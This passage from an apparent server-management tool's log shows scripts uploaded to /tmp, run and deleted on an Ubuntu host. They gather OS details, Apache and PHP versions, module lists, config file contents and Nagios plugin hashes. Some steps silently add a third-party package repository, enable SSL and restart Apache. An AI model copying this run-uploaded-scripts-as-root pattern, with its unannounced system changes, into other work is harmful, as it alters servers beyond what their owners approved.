	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 16:26:04: 

chmod 755 /tmp/pkp429629; /tmp/pkp429629; rm /tmp/pkp429629

2025-12-23 16:26:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
jupiter

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-23 16:26:04: 

PUT: /tmp/pkp295019

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 16:26:04: 

chmod 755 /tmp/pkp295019; /tmp/pkp295019; rm /tmp/pkp295019

2025-12-23 16:26:04: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1020
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1020  0.0  0.4  52872 10036 ?        Ss   16:23   0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-12-23 16:26:04: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'jupiter',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'proxy_module',
      25 => 'proxy_html_module',
      26 => 'proxy_http_module',
      27 => 'proxy_wstunnel_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
      34 => 'xml2enc_module',
    ),
  ),
)


2025-12-23 16:26:04: 

PUT: /tmp/pkp968813

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-23 16:26:04: 

chmod 755 /tmp/pkp968813; /tmp/pkp968813; rm /tmp/pkp968813

2025-12-23 16:26:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-12-23 16:26:04: 

PUT: /tmp/pkp785476

#!/bin/bash
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-23 16:26:05: 

chmod 755 /tmp/pkp785476; /tmp/pkp785476; rm /tmp/pkp785476

2025-12-23 16:26:08: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.7


2025-12-23 16:26:08: 

PUT: /tmp/pkp366231

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 16:26:08: 

chmod 755 /tmp/pkp366231; /tmp/pkp366231; rm /tmp/pkp366231

2025-12-23 16:26:09: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-12-23 16:26:09: 

PUT: /tmp/pkp687060

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-23 16:26:09: 

chmod 755 /tmp/pkp687060; /tmp/pkp687060; rm /tmp/pkp687060

2025-12-23 16:26:09: 


status=ok


2025-12-23 16:26:09: 

PUT: /tmp/pkp825233

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 16:26:09: 

chmod 755 /tmp/pkp825233; /tmp/pkp825233; rm /tmp/pkp825233

2025-12-23 16:26:09: 
2025-12-23 16:26:09: 

PUT: /tmp/pkp398249

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/sites-available/christadelphia_www_net.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 16:26:09: 

chmod 755 /tmp/pkp398249; /tmp/pkp398249; rm /tmp/pkp398249

2025-12-23 16:26:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


